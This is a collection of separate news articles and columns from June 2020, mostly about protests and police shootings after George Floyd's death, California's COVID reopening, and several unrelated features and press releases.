Were not protestors, we are not part of the riots," Brown said. "We were delivering food. We were working. For them to just go out of their way to shoot innocent people was unfair. And then I proceeded to tell them that theres a pregnant woman in the car, and thats when they unloaded 50 to 75-plus rounds into my car with my pregnant girlfriend in it."

Brittany King, Brown's fiancee, who is 18 weeks pregnant, was hit in the abdomen with at least three pepper ball rounds, according to the couple's attorney, Scott Melin. When she got to the hospital, her fetus had a high heart rate and she is still suffering from cramps, difficulty breathing and difficulty eating, Melin said Friday afternoon.

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She also suffered a broken bone in her hand from when she tried to block her face, Melin said.

"These pepper balls are no joke," he added.

Brown has a laceration on his face and bruises on his body. Melin said Brown got out of his car to yell at the officers because they fired a round at the couple even though there was not yet a curfew in effect on Friday night into Saturday morning, and the pair was not protesting or rioting.

"They were driving for DoorDash," Melin said. The initial round was an "unprovoked attack."

Melin wants to reach a settlement with the Denver Police Department for monetary damages and a commitment from the department to institute reforms. But barring an agreement, Melin said he will file a civil suit.

The Denver Police Department said in a statement "DPD is aware of the incident and an investigation into the matter is ongoing."

While the people in the video have been identified, the department said, they had not yet come forward or filed a complaint, so department Chief Paul Pazen is listed as the complainant in the case.

Earlier this week, Pazen had launched an investigation into an officer who posted a picture to Instagram of him and two other officers posing in riot gear, with the caption "Let's start a riot."

The officer, Thomas McClay, was fired, the department announced Tuesday.
Mumbai, June 5 : On Friday, the family of late music composer Wajid Khan released a statement following his demise, thanking hospital staff for taking care of him throughout the treatment.

The family also informed that Wajid died due to cardiac arrest. There has been no mention of coronavirus in the statement.

"Our dearest Wajid passed away at the age of 47 due to a cardiac arrest on 1st of June at 00:30 am in Surana Sethia hospital. He had a successful kidney transplant last year and he was undergoing treatment for a throat infection," the statement read.

"We would like to express our gratitude to Dr Prince Surana who is family and has taken care of Wajid just like a brother would, Dr Prashant Kewle, Dr Kirti Sabnis, Dr Nikhil Jain, Dr Rupesh Naik, Dr Dipen Deole, Dr Aseem Thamba and the entire hospital staff who had been treating Wajid and taking care of him beyond the call of duty and had left no stone unturned for his treatment. We thank each of you for your selfless gestures from the bottom of our hearts," it concluded.

The statement has been posted on the composer brother duo Sajid-Wajid's official Instagram account.

Wajid is survived by his wife and two children -- a daughter and a son.
Protesters rally on the steps Anaheim City Hall on Tuesday. (Irfan Khan / Los Angeles Times)

California officials said Friday that counties could begin reopening gyms, day camps, bars and some professional sports by as early as next Friday, but specifics remain unclear.

The state said it would release more detailed guidelines later. Officials stressed that such reopenings would be based on local conditions. Rural counties where COVID-19 has been less of a problem will likely be able to reopen much quicker.

"By far and away the most important thing is for county and local officials to use the state's guidance and consider it in light of their own data, and their own trends, said Dr. Mark Ghaly, secretary of California Health and Human Services.

The state thinks that if counties do this under the strong guidance of their public health officers  and with the consideration for the local conditions  that they can do this in a lower risk and safer manner, he said.

Any reopening will come with strict safety rules and social distancing mandates.

The announcement marks the latest effort to rapidly reopen the economy after months of closures because of the pandemic. California continues to see new cases and deaths, and there has been debate about whether the state is reopening too quickly.

"Just because some businesses are opening doesn't mean your risk for COVID-19 is gone. We all need to continue to keep physical distancing, wash our hands and wear face coverings in public," said Dr. Sonia Angell, the state's public health officer and director of the California Department of Public Health.

"As we continue to release guidance on how different sections can reopen with modifications, it is important to remember guidance doesn't mean 'go,'" Angell said. "Your local health officer will make the final decision about which sectors will open guided by data specific to your community."

With coronavirus restrictions beings eased, combined with a week of protests and rallies across the state against police brutality and racial inequality, state health officials expect to see the number of COVID-19 cases in California to increase.

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Certainly, we're prepared, Ghaly said. We're going see an increase in cases and with that the risk of people becoming sick and dying.

Ghaly said thats why its so critical for county public health officials to assess the scope of the COVID-19 pandemic in their areas, and their ability to respond adequately, before implementing any of the new guidelines released by the state. If counties do that, they should be prepared to care for an uptick in coronavirus cases, he said.

Some counties continue to struggle with the virus.

As the number of confirmed coronavirus cases in Orange County topped 7,000 this week, officials said they were worried about the spread of the virus at the large anti-racism protests.

"Is it a concern? Absolutely. Do we respect their right to protest? Certainly," Orange County Executive Officer Frank Kim said at a media briefing Thursday. "We would hope that they would do so and use as much caution and safety protocols as reasonably possible."

Orange County on Friday reported 296 new COVID-19 cases, bringing the total to 7,064. The county also reported nine additional deaths, bringing the total to 174.

Health officials said an estimated 3,021 residents have recovered from COVID-19. There were 283 people hospitalized as of Friday, including 123 in intensive care.

Orange County was quicker than other urban areas, including Los Angeles County, to begin reopening public life. Huge crowds that descended on Orange County beaches at the end of April prompted Gov. Gavin Newsom to temporarily close them  a move that irked local leaders, who responded by suing Newsom. County beaches have since reopened.

In recent days, there have been massive protests across Orange County, as in the rest of the country, over the death of George Floyd, a black man who died May 25 after a white Minneapolis police officer pressed his knee into Floyd's neck for almost nine minutes.

"We're always concerned when we see large gatherings, and I think it's a real balance between preserving the rights of individuals to express their 1st Amendment rights as well as a desire and a request from the county that individuals do their best to maintain their six feet of social distancing," Kim said.

Some of the Orange County cities now seeing protests against Floyd's death are the same ones that saw raucous street demonstrations last month calling for the state to lift coronavirus restrictions.

The overwhelmingly white makeup of the crowds at the smaller reopening protests last month was not lost on people of color who have been marching the last several days. Some called it an overt display of privilege at a time when a disproportionate number of people who have been infected by and died of COVID-19 in California are black, Latino and poor.

More antiracism protests are planned in Orange County and elsewhere throughout the weekend.

Meanwhile, Orange County has been told by the state it will have to wait to reopen community swimming pools, said Lilly Simmering, assistant director of the county health agency.

A county order requiring face coverings in public, which officials said prompted a death threat against County Health Officer Dr. Nichole Quick last week, remains in place.

Simmering said that "should our numbers start to look better," officials would discuss an end date or loosening of the current health order.

Simmering said officials "understand the frustration," but added that masks are one of the few ways to slow the spread of the disease, for which there is no cure or vaccine. "Your concerns are the same as our concerns," she said.

She also clarified details of the face covering and distancing rules. "My husband likes to go on long bike rides. He doesn't have to wear a mask," Simmering explained.

"You put on a face mask when you cannot maintain the six feet of social distancing. If you can maintain the six feet of social distancing, you have a choice."

In Los Angeles County, where many COVID-19 testing sites had been shut down at some point amid the protests, all sites were reopened as of Friday, officials said. The closures and resulting drop in the number of people being tested could hurt the region's response to the outbreak, health experts warned.

We are committed to ensuring that testing is widely available to people who need them, Dr. Christina Ghaly, director of the L.A. County Department of Health Services, said in a statement.

Christina Ghaly said it was "inspiring on many levels" to see the antiracism protests. She said the county did not issue a mandate to close COVID-19 testing facilities amid the demonstrations but allowed each site to make its own decision on whether to close or adjust hours.

Officials saw the volume of testing decline slightly over the last week because of both closures and a higher-than-usual no-show rate at sites across the county, she said.

Los Angeles County on Friday reported 1,445 new cases of COVID-19, bringing the total to 61,045. The county also announced 36 new deaths, bringing the total to 2,565.

Of those 36 deaths, 25 were older than 65, nine were between the ages of 41 and 65, and one was between the ages of 18 and 40, officials said. Twenty-nine had underlying health conditions.

Officials said that 94% of people who have died in L.A. County to date had underlying health conditions.

County health officials said they anticipate an increase in cases in the coming weeks because of the reopening of many businesses and other aspects of public life, as well as the protests. L.A. County Public Health Director Barbara Ferrer said a risk of exposure exists in any large gathering, "whether on the boardwalk in Venice or joining a protest against racism."

Ferrer said that if a person is in a large crowd, in close contact for at least 15 minutes with people not wearing face coverings, he or she should consider self-quarantining for two weeks to see if symptoms develop.

She said that people should remember that the virus "has a long incubation period" and that "if you do get tested right away after exposure, you're likely to test negative" because the viral load could still be low.

"Testing negative does not mean you cannot become infected later in the incubation period," and it is still advised to stay away from others for 14 days, she said.

The Public Policy Institute of California on Wednesday released a new poll showing most Californians were wary of reopening too quickly amid the continuing pandemic.

The poll found widespread support for current statewide restrictions implemented to curb the spread of the virus. Some even want tougher safeguards, and many remain fearful about contracting COVID-19.

Of those polled, 36% said the virus was the most important issue facing the state today, compared with 23% who said they believed jobs and the economy were the top concerns.
(JTA) - Emma Seligman is trying to stay optimistic.

Before the COVID-19 pandemic, the 25-year-old came extremely close to fulfilling every film student's fantasy: having her debut indie film played at coveted festivals and becoming an up-and-coming name to know in the industry.

Her film "Shiva Baby" involves both of the terms invoked in its title: a sugar baby - or a young girl who receives money or other material gifts from a wealthy older man in exchange for company, and often sex - who attends a shiva, or Jewish mourning get-together at the house of the family of the deceased. When prota...
SAN DIEGO, June 4, 2020 /PRNewswire/ -- Windward Life Care has just received another feather in its cap in time for Pride Month. San Diego County's premier aging services firm has earned a Silver Level certification with SAGECare, enhancing Windward's ability to support the needs of the county's LGBT community.

"LGBT older adults are an underserved population. Many people do not have family to support them or advocate for them as they age or cope with chronic physical or mental health issues," said Susan Valoff, LCSW, C-ASWCM, CDP, Vice President of Windward Life Care. "Our SAGECare certification demonstrates that Windward's commitment to personalized, compassionate care includes our LGBT clients, prospective clients, and referring professionals."

As a division of SAGE  the country's largest nonprofit dedicated to improving the lives of LGBT older adults  SAGECare provides LGBT competency training and consulting on LGBT aging issues to organizations throughout the United States. SAGECare partners with service providers to prepare a compassionate, LGBT-competent staff to address the needs of a rapidly expanding aging population  the roughly 4 million older Americans who identify as LGBT is expected to double by 2030.

LGBT older adults face a number of barriers in receiving healthcare services, a fact that contributes to their experiencing many health and mental health problems at a higher rate. LGBT older adults are less likely to seek formal supports due to past discrimination or abuse. Surveys report older LGBT adults fear they will face harassment or unequal services in long-term care. It is thus critical that home care workers be professionally trained to work with LGBT clients so they feel comfortable and valued.

To earn SAGECare's Silver Level certification, 40% of Windward's team was trained to work with LGBT older adults. The training included the basics of what LGBT means, the societal views of LGBT people over time, and skills to work supportively with LGBT older adults.

"I want to congratulate Windward Life Care on completing our LGBT aging cultural competency training," said Timothy Johnston, Ph.D., SAGE's Senior Director of National Projects. "Windward's SAGECare credential will let existing and potential home care LGBT clients know they will be treated with dignity and respect."

Locally owned and operated, Windward Life Care recently celebrated 15 years of serving San Diego County's older and disabled adults. Windward has grown to become one of the region's most distinguished aging services providers and in 2019 earned a Top Workplaces distinction from The San Diego Union-Tribune. As members of the Aging Life Care Association, Windward's care managers specialize in dementia care, complex family situations, mental health issues, healthcare advocacy, and helping clients age well with a sense of purpose. Its recently launched subsidiary, Windward Home Health, has added licensed skilled nursing to Windward's many services.

About Windward Life Care

Windward Life Care is San Diego County's premier aging services firm, providing Aging Life Care Management, expert in-home care, and skilled nursing services. Windward's discerning recruitment and rigorous training of professional caregivers set it apart from other home care providers. The interdisciplinary professional team at Windward is composed of leaders in the Aging Life Care Association. Visit www.windwardlifecare.com to learn more.

AGING LIFE CARE is a trademark of the Aging Life Care Association. Only ALCA Members are authorized to use this term to identify their services.

About SAGE

SAGE is the country's largest and oldest organization dedicated to improving the lives of LGBT older people. Founded in 1978 and headquartered in New York City, SAGE is a national organization that offers supportive services and consumer resources to LGBT older people and their caregivers. For more information about SAGECare training, visit sageusa.care.

SOURCE Windward Life Care

Related Links

https://windwardlifecare.com


By Mark Peterson





When I first arrived in Korea, in November 1965, Korea was a very poor country. It had hardly begun to recover from the Korean War that had ended 12 years earlier. Per capita annual income was $125. South Korea in those days was much poorer than North Korea and was one of the absolute poorest countries in the world. Korea had been victimized by Japan and by the catastrophe of the war.



The history of Korea that I started to learn then was a story of victimization  told in terms of the many depravations Korea had suffered at the hands, or swords, of foreign invaders. It was a poverty-stricken history of victimization of a country that was poverty-stricken and victimized.



In the 55 years since, Korea has progressed to where per capita annual income is around $30,000. The once-poor country is now one of the richest countries of the world. Yet, with all the changes in the standard of living, the history has not changed and it needs to.



Let me introduce a radically different idea about history: history is not just that which happened a long time ago; history is now! What this idea means is that today's conditions determine, largely, how history is interpreted. Point number one: history is interpreted. History is not an absolute set of facts sitting out there for us to learn. The facts must be interpreted. They tell us how we got to "now."





Let's look at it from the anthropologist's point of view. In anthropology they say "history is charter"  meaning history is the foundation for explaining who "we" are and how we came to be the way "we" are. To put it another way, a poor country has a history that explains why it is poor. A rich country has a history that explains why it is rich. That's a simplification, but it makes the point.



Korea's history from when it was a beaten-up, poor country, is basically not taught much differently now but Korea today is a fiercely independent, wealthy country. It's time to re-examine Korean history and answer the question, not "how did Korea become so poor?" but to answer the question of "how did Korea become so rich?" What strands of values and behaviors can we find in Korean history that explain the reasons why Korea has become the success it is today?





We can't address all the issues in this short article, but we can look at a few themes, or what I like to call strands within Korean history and culture that explain the success of Korea today. The first is to reject the strands of history that support the poor country that has been invaded numerous times.



What is wrong about that perspective? Aside from supporting the wrong result, objectively, Korea has not suffered that many wars and invasions! I know that this interpretation runs straight up against the dominant interpretation in Korea today, but still, facts are facts, and Korea has suffered relatively few invasions when compared with most other countries.





The old narrative is filled with exaggeration. How many times has Korea been invaded? Somewhere around 900 times, we are told, 700 of them from Japan. To destroy this argument, let's look at the length of wars in years, and the numbers of deaths. Only three wars lasted more than a year  the Korean War, three years; the 1592 Japanese Invasion, seven years; and the 1231 Mongol Invasion that lasted 40 years. No other border skirmish, no pirate raid from Japan lasted very long. Even the Manchu Invasions of 1627 and 1636 were short-lived.





The real problem with saying Korea has suffered hundreds, or even dozens, of invasions, is that it diminishes the catastrophe of these three massive wars. Deaths? Korean War, 1 million; Japanese Invasion, 2 million to 4 million; Mongol Invasion, 1 million to 2 million. We don't have good population data, but these three wars dwarfed all other skirmishes.





Rather than saying Korea has suffered countless wars, it would be better to say that Korea suffered three catastrophic wars, but recovered strongly from each of them. And through it all, Korea maintained its culture and integrity. By comparison, look at the Manchus  they virtually do not exist today. Number of speakers of Manchurian languages  a few hundred! All the rest have been assimilated into Chinese language and culture. Look at the Mongols! Not quite as annihilated as the Manchus, but the Mongols are not major players in the world economy.





But Korea has survived, and thrived. Separate from China. With its own language and script. And its own distinct culture. This is the story of Korea, not that it has been invaded and beaten up hundreds of times, by dozens of other countries.



And once we make that shift, we can see all the tremendous cultural traditions that shine through that have made Korea what it is today. The peaceful, stable strands, the "twelve pillars," that I've been writing about, that run throughout Korean history.





Mark Peterson (markpeterson@byu.edu) is professor emeritus of Korean, Asian and Near Eastern languages at Brigham Young University in Utah.












Amazon CEO Jeff Bezos on Friday expressed support for the Black Lives Matter movement by posting an email exchange with an upset customer.

In an Instagram post, Bezos posted a screenshot of an email from a customer who said it was "disturbing" and "offensive" that Amazon posted a message on its website in solidarity with the movement. The customer, whose name was blurred, wrote "ALL LIVES MATTER!"

Critics of the Black Lives Matter movement often seek to counter the phrase by saying "all lives matter" or "blue lives matter," referencing fallen police officers.

"I have to disagree with you," Bezos replied.

"'Black Lives Matter' doesn't mean other lives don't matter. Black lives matter speaks to racism and the disproportionate risk that Black people face in our law enforcement and justice system."

Unlike black parents, Bezos said, he will never have to worry that his son "might be choked to death while being detained one day." He added that he supports the recent protests around police brutality.

"I want you to know I support this movement that we see happening all around us and my stance won't change," he added.
In the confusing final seconds of his life, David McAtee saw his barbecue stand in Louisville, Kentucky, fill with people seeking shelter from law enforcement.

The police and National Guard had gotten to the intersection of 26th Street and West Broadway to enforce a 9 p.m. curfew. It was past midnight, and groups of friends in the citys predominantly black West End were mingling and listening to music outside of Dinos Food Mart, a popular gas station hangout, and YaYas BBQ, McAtees modest restaurant.

Go! Go! the officers yelled. Then, they fired pepper balls.

As people rushed inside his side door to take cover, McAtee peeked out, gun in hand. He appeared to shoot.

Moments later, he lay dead, killed by a single shot to the chest. Two police officers and two Guard members had discharged their weapons, firing about 18 rounds.

What transpired in the few minutes between when law enforcement arrived and when McAtee, 53, was killed early Monday morning is now under investigation by federal and state authorities in Kentucky. Protests against police brutality had already raged in Louisville over the deaths of Breonna Taylor and George Floyd. Now demonstrators added another name to the list: David McAtee.

The authorities say the police and National Guard were returning McAtees fire. Surveillance videos released by the Louisville Metro Police Department, as well as a bystander video analyzed by the visual investigations team of The New York Times, suggest that he did shoot his gun.

But they also show, based on a synchronized chronology of the events that night, that the police had first fired at least two pepper balls from outside the restaurant toward McAtee and his relatives. One of the balls  which may not have been distinguishable at the time from other ammunition  hit a bottle on an outdoor table, and another came close to hitting his niece in the head right before McAtee fired.

The volley was intended to disperse a crowd outside the restaurant in violation of the curfew. But the gathering was not of protesters, those who were there said, but of residents who were out for a good time on a Sunday night.

They may be violating the curfew, but I dont know if that justifies being shot with pepper balls, said David James, a former police officer and the president of the Louisville Metro Council, whose district includes the site of the shooting.

James, who knew McAtee, said he and other African Americans in Louisville cannot help but wonder if the authorities would have been so quick to deploy pepper balls against curfew violators in a white neighbourhood.

If theyd been in another part of town and people were out lounging in a large group like that, would they have rolled up with the National Guard and fired pepper balls, or would they have gone up and talked to people? James said. Had the officers simply told people to clear out, James said, I have a feeling that the outcome would have been different.

McAtees relatives say he would not have knowingly shot at the police. He liked to offer officers free meals at his restaurant, named YaYas because YaYa was McAtees nickname. The barbecue stand was also McAtees home: He lived in the basement, said his nephew Marvin McAtee, 46, who helped run the business and was in the restaurant when the shooting began.

Law enforcement had shown up Saturday night to warn people outside about the curfew, McAtee said. When the police and National Guard pulled up early Monday morning, he thought little of it. Things sometimes got rowdy at Dinos, where arrests were not uncommon, he said, but his uncle was on good terms with the police.

The group on YaYas porch consisted of maybe a half-dozen people, he said, most of them close friends listening to music and enjoying the nice weather after weeks of staying at home to stop the spread of the coronavirus. Several relatives were inside, helping David McAtee clean up.

People started streaming in once the pepper balls were fired. The Police Departments policy is to shoot the balls into the ground in front of a crowd to try to disperse it, Assistant Chief LaVita Chavous said at a news conference Tuesday.

The guidelines also say officers should try to avoid the use of force to disperse nonviolent crowds, identify themselves as the police and give people a reasonable time to comply with dispersal orders.

One of the balls appeared to directly hit a soda bottle outside of YaYas BBQ, knocking it off a table. Another pepper ball struck the doorway. McAtees niece, who had approached the door from the inside, was nearly hit in the head. She backed away, security video showed.

David McAtee grabbed his gun, which was holstered on his hip, and moved toward his niece. He put his arm up and out the door. Then came the sound of a shot  his, according to the police  followed by a string of shots from the police and National Guard.

Marvin McAtee said he did not see his uncle shoot. Other people in the crowd had been armed, he said; the police recovered six handguns and one shotgun from the crime scene.

Theres no way he had a clear vision of the police from there, McAtee said. He had no intention of shooting at no police.

If he did shoot, he said, it would have been to defend his property in the belief that someone outside might be threatening it  and, above all, to protect his niece: I know in my heart he died for her.

Chavous said the surveillance video released by the authorities showed that David McAtee fired his weapon out the door of his business as police approached.

Gov. Andy Beshear said his administration had released unusually detailed information about the investigation so Kentuckians could make determinations with their own eyes.

I know we have to be transparent, he said.

On Tuesday, Mayor Greg Fischer fired Steven Conrad, the police chief, after learning that the officers involved in the shooting had failed to activate their body cameras. The firing came after years of troubling incidents that have sown mistrust in the police, including a scandal in which officers sexually assaulted teenagers in a department-run youth program. The city has also seen a spike in its murder rate.

Under pressure over Taylors killing, Conrad said last month that he would retire at the end of June. But McAtees killing sped up his departure, and Deputy Chief Robert Schroeder has taken his place for now, ahead of a national search. The city also plans to hire a consultant to review the departments training and policies, Fischer said.

The mayor ended the curfew Thursday, saying that it had helped keep the peace but also acknowledging that the city had shown an inability to apply it evenly.

Taylor, a 26-year-old emergency room technician, was killed in her apartment in March after the police tried to serve a warrant; there are differing accounts of whether they knocked on the door, and the officers said someone inside fired first. The officers in that unit were not required to wear body cameras, outraging residents and forcing a policy change. Louisville has also suspended the no-knocks warrant practice. No officers have been fired in the shooting, which is under investigation.

The two police officers who fired their weapons the night McAtee was killed, Allen Austin and Katie Crews, have been placed on administrative leave. The department also began a professional standards investigation into Crews over a Facebook post in which she referred to a photo of a female protester trying to hand her flowers.

She was saying and doing a lot more than offering flowers to me, the officer wrote. I hope the pepper balls that she got lit up with a little later on hurt. Come back and get ya some more ole girl, Ill be on the line again tonight.

Major Stephen Martin, a spokesman for the Kentucky National Guard, whose mission was to support the Police Department, declined to identify the two Guard members involved in the shooting.

McAtees grieving family and friends have spent the days since his death hearing from community members about McAtees generosity. James, the council president, remembered that the restaurant owner offered a free meal last year to the family of a man who was living in his car. The man did not want to accept it because he was embarrassed to have his family see him unable to pay.

I will take care of how it appears, McAtee said, according to James, and he made it look like the man paid for everything.
Psychological and behavioral therapies, particularly cognitive behavior therapy (CBT), may be effective non-drug treatments for reducing disease-causing inflammation in the body, according to a new review published in the journal JAMA Psychiatry.

For the study, a research team reviewed 56 randomized clinical trials to see whether psychotherapies, typically used for treating mental health problems such as anxiety and depression, might also boost biological processes involved in physical health.

People automatically go to medication first to reduce chronic inflammation, but medications can be expensive and sometimes have adverse side effects, said senior author Dr. George Slavich, director of the University of California, Los Angeles (UCLA) Laboratory for Stress Assessment and Research.

In this review, we wanted to know whether psychotherapies can also affect the immune system and, if so, which ones have the most beneficial effects over the long term.

Slavich, along with two of his colleagues at UC Davis and San Diego State University, analyzed randomized clinical trials that investigated the effects of several different types of interventions, including CBT, CBT plus medication, grief and bereavement support, a combination of two or more psychotherapies, and psychoeducation, among others.

The team analyzed the duration and types of psychotherapy received, including group versus non-group therapy, and looked at how the treatments affected different markers of inflammation and other immune system processes in the body. Chronic inflammation increases the risk of developing several deadly diseases and can lead to premature death.

Their findings reveal that CBT may be better than other psychotherapies at boosting the immune system.

This seems to be a case of mind over matter, Slavich said. Psychotherapies like CBT can change how we think about ourselves and the world, and changing these perceptions can in turn affect our biology.

The results of this study take this idea one step further and suggest that psychotherapy may be an effective and relatively affordable strategy for reducing individuals risk for chronic diseases that involve inflammation.

The researchers looked at several different immune outcomes. Of those outcomes, pro-inflammatory cytokines were most strongly affected by psychotherapy in general and CBT in particular.

Pro-inflammatory cytokines are important because they help the immune system heal physical wounds and battle infections. However, if these proteins remain persistently elevated, they can lead to chronic inflammation, which increases the risk of physical illnesses, such as heart disease, cancer and Alzheimers disease, as well as mental health problems, including anxiety disorders, depression, post-traumatic stress disorder (PTSD), schizophrenia, self-harm and suicide.

There are many people who would prefer to use non-drug interventions for improving their immune system function, Slavich said. In some cases, they cant take certain medications because of medical reasons, and in other instances the medications they need are too expensive. And then there are people who simply prefer a more holistic approach to improving their health.

Slavich says the findings provide strong evidence that psychotherapy may be helpful in this regard.

Out of all of the interventions we examined, CBT was the most effective for reducing inflammation, followed by multiple or combined interventions, Slavich said.

Moreover, we found that the benefits of CBT on the immune system last for at least six months following treatment. Therefore, if youre looking for a well-tested, non-drug intervention for improving immune-related health, CBT is probably your best choice.

Source: University of California- Los Angeles Health Sciences
While not as inclusive of as many ethnicities as people might wish, we believe that it is inclusive as to the artists that created this public art starting in 2011 as well as the subject people (over 300) and the 80 plus businesses portrayed, Bobosky said.
I stopped long ago reading comments under news articles and opinion pieces. Not because I dont believe readers should have the opportunity to comment, but mostly because nothing about what is posted is helpful or constructive. In fact, much of it is nasty and vile.

For the same reason, Im not on Twitter anymore. Not because I dont recognize social media as a valuable tool for marketing or disseminating important information, but because it has become a forum for misinformation, slander and hate. And I know very well that I have it within me to become part of the problem.

How we speak to each other reveals much about ourselves. The Bible, as relevant on the topic today as it was 2000 years ago, contains dozens of verses about taming the tongue.

It is not what goes into the mouth that defiles a person, but what comes out of the mouth; this defiles a person, Jesus said, as he rebuked the Pharisees as recorded in Matthews gospel.

I thought a lot about that verse in the last few days as I watched the Twitter barbs fly. President Trump has been advancing debunked conspiracy theories about former Republican congressman and current MSNBC host Joe Scarborough. Trump continues to suggest, without any evidence whatsoever, that Scarborough might have had something to do with the death of a staffer who worked in his Florida congressional office in 2001.

Comedian Kathy Griffin tweeted that Trump should self-inject an air-filled syringe, which would do the trick.

Neither Trump nor Griffin has apologized. In fact, each has doubled down with Trump calling the staffers death a cold case (it was ruled an accident) and Griffin tweeting that she is well aware that an injection of air into the veins could be fatal.

Griffins profane, angry tweets are not unexpected, given that her stance as a Trump-hater is the only thing keeping her relevant on the national landscape. However, this president, any president, should be above spewing unfounded conspiracy theories about people he doesnt like. Even conservative news outlets have taken Trump to task.

Mr. Trump rightly denounces the lies spread about him in the Steele dossier, yet here he is trafficking in the same sort of trash, wrote the Wall Street Journal editorial board.

And, in case you missed it, CNNs Anderson Cooper and House Speaker Nancy Pelosi called the president fat.

The issue of our current discourse, political and otherwise, goes well beyond the latest round of unfortunate tweets and comments.

What happened to civility and respect? Blaming the president is nothing more than a He started it! schoolyard argument. Were all complicit, myself included. Twitter and other social media platforms arent so much forums to share what is on our minds as much as they are indications of what is lurking in our hearts.

Im not wagging my finger at anyone. I receive a fair amount of angry emails and I will confess that my first inclination is to fire back a response that will get my adversary in checkmate. Victory, after all, is much more satisfying, at least for a while, than reconciliation.

In his book Mere Christianity, C.S. Lewis addresses this aspect of the human condition.

If there are rats in the cellar you are most likely to see them if you go in very suddenly. But the suddenness does not create the rats: it only prevents them from hiding, Lewis writes. In the same way the suddenness of the provocation does not make me an ill-tempered man; it only shows me what an ill-tempered man I am.

My first step toward becoming a Christian was to acknowledge my predicament  my own sinful nature. As Lewis points out, Christianity is not reading what Christ said and trying to carry it out. Rather, it is the total interference of Christ in your life which changes you from the inside out and makes obedience to God possible, not as a means to salvation but as evidence of it.

I say this in relation to discourse because whatever small role I might play in the conversation, my faith is what restrains me, and what keeps me from becoming part of the problem.

We hear a lot about the need for more kindness, compassion and empathy. Simply trying to be nicer to one another isnt going to get us far.

For all of us, the real solution begins with admitting theres a problem in the first place.

Rich Manieri is a professor of journalism at Asbury University in Kentucky. He can be reached at manieri2@gmail.com. His column is distributed by Cagle Cartoons newspaper syndicate.
Eight thousand voices spoke in unison: Make no mistake about it, black lives matter.

Within hours of each other, Thursday rallies in Coatesville and West Chester attracted Chester County demonstrators hoisting signs, taking a knee and chanting, eight minutes.

West Chester held its event at sunset while the City of Coatesville march took off down Lincoln Highway, en route to City Hall, at noon.

Protesters rallied in support of equality for all and criminal justice reform in America.

The crowd noise in West Chester generated by approximately 5,000 demonstrators  those starved from the absence of a live audience since March because of the pandemic shutdown  was deafening and startling.

The boroughs evening March for Peace, Justice and Humanity started at Borough Hall, with demonstrators blocking Gay Street along the way, and eventually a block of High Street at the Historic Courthouse. The marches in Coatesville and West Chester marked the senseless death of George Floyd, in Minneapolis, at the hands of police.

Lillian DeBaptiste was the first speaker. She noted that everyone present could breathe.

America is in the midst of a revolution and each of us must be the change, DeBaptiste said. It doesnt matter which path you take, but take one, dammit.

Mayor Dianne Herrin said she has recently heard much. She said that Americans have an opportunity for change.

The more Im told the more I see  to really see, Herrin said.

Several times, reverend, NAACP president and state Senatorial candidate Kyle Boyer implored the crowd to turn to a neighbor and voice, Do better.

It took some energy to get here todaybut this is not the hardest partdoing something is the hardest part, Boyer said. When you know better, we can do better.

U.S. Rep. Chrissy Houlahan, D-6th, told the audience, overheated both physically and emotionally on a steamy, humid evening, that they had to work together.

We are getting in good trouble and were getting in the way, she said. We need to respect every human.

Feel uncomfortable, feel awkward? Its okay.

Michelle Roberson lost her two children. Bianca Roberson was murdered in June of 2017. Roberson told the audience that she was angry that her daughter was killed because of the color of her skin.

Anger is one of the catalysts of change, Roberson said.

Borough Police Chief Jim Morehead said that he and fellow officers could not believe the film footage of Floyds murder.

We hold our officers accountable, Morehead said about preserving the peace in West Chester. We can agree that George Floyd should not have died.

You have my word that what you witnessed in Minneapolis will not happen in West Chester.

Fredda Maddox is the first African American elected sheriff in Chester County. She noted that the need for restorative justice and criminal justice reform.

Its a collaboration, she said. We have to work together.

Its a dialogue folks, its give and take.

The marchers were out for anything other than a quiet evening stroll.

Sarah Wagner of East Goshen carried a sign that read, No justice, no peace, this is AmeriKKKa.

Im passionate about change and Im here to show my support as an ally, she said.

Roland Jennings, of West Chester, lambasted the president.

Donald Trump does not get it, Jennings said. He was raised not knowing about decency and manners and grew up in an atmosphere where everyone was rich.

He doesnt know what the blacks go through.

West Goshen resident Jaden Howe carried a sign which read:, Silence is violence.

Black people are being killed and thats not okay, Howe said.

Hours before the West Chester event, thousands of people united in the City of Coatesville. Citizens held a peaceful demonstration, in solidarity with the Black Lives Matter movement, for equality, justice and human rights.

Marchers called for the overcoming inequity in American society.

One marcher said it is most important to address racial profiling as citizens across the nation and around the world call for systematic criminal justice reform in America and the end of police brutality against African Americans.

Following the march which began at Double D Diner on Lincoln Highway, marchers rallied outside City Hall.

State Rep. Dan Williams, D-74th, of Sadsbury, said a prayer as everyone took the knee in solidarity for the Black Lives Matter quest and in honor of people who have lost their lives from police brutality, like George Floyd on March 25 in Minnesota.

Floyds death while in police custody sparked millions of people to hold demonstrations around the nation and world since last week. Over the weekend, there was rioting in Philly.

Across the city, the voices of peaceful demonstrations called for change. Compared to Kennett Square and West Chester boroughs, the majority of people at the Coatesville event were African Americans.

Families. Neighbors. Friends.

United.

After protesters marched through the streets, they gathered outside the Coatesville Police Station and City Hall, where several people of color spoke to those in attendance about their past experiences with racial profiling and police brutality. One man said hes lost count of how many peers are in jail today.

Approximately three thousand people listened while on their knees to Williams. He said God called on people to live in a way of justice, peace and equality.

The Pennsylvania House representative then cited Martin Luther King Jr.

Peace is not the absence of tension. It is the presence of justice, King said.

Williams is the senior pastor at the New Life in Christ Fellowship church in Coatesville.

Police Chief Jack Laufer and Sgt. Rodger Ollis were present at the rally. The local law enforcement thanked the event organizers for bringing together people and delivering a message that needs to be heard.

Justice. Now. For all people. Black Lives Matter, the people chanted.

The march and rally were organized by young people from Coatesville, including Ruqaiyah Young and P.J. Evans

Young said it was amazing to march through the streets and get the community involved.

As we started going down blocks, more and more people were coming out of their houses, and people were coming out with signs, she said. Some people were jumping in, people were throwing water bottles into the crowd. I feel like everyone was very supportive of the entire movement.

Young cited a lack of accountability for police officers as a cause of inherent issues in police departments.

Until everyones held accountable, then theres not going to be any change. And our police arent held accountable, she said. Medical staff get their licenses revoked when they do something wrong, just like lawyers, and every other field theres a sense of accountability, and there seems to not be one instilled in the police department, so it needs to change.

Evans said it was time for Coatesvilles voice to be heard.

People are angry here, rightfully so, about the situations of injustice from the police across the country, he said.

Evans said it was important to make sure it was a peaceful event, and hes proud of the City of Coatesville and its people. The event was successful with great turnout, no rioting or looting, and full support from the local police, he said.

I hope it helps change the narrative of peoples negative perceptions on Coatesville because this is not a scary place, Evans said.

Members of Coatesville City Council were also present.

Newly elected Coatesville City Councilwoman Nydea Graves spoke at the rally.

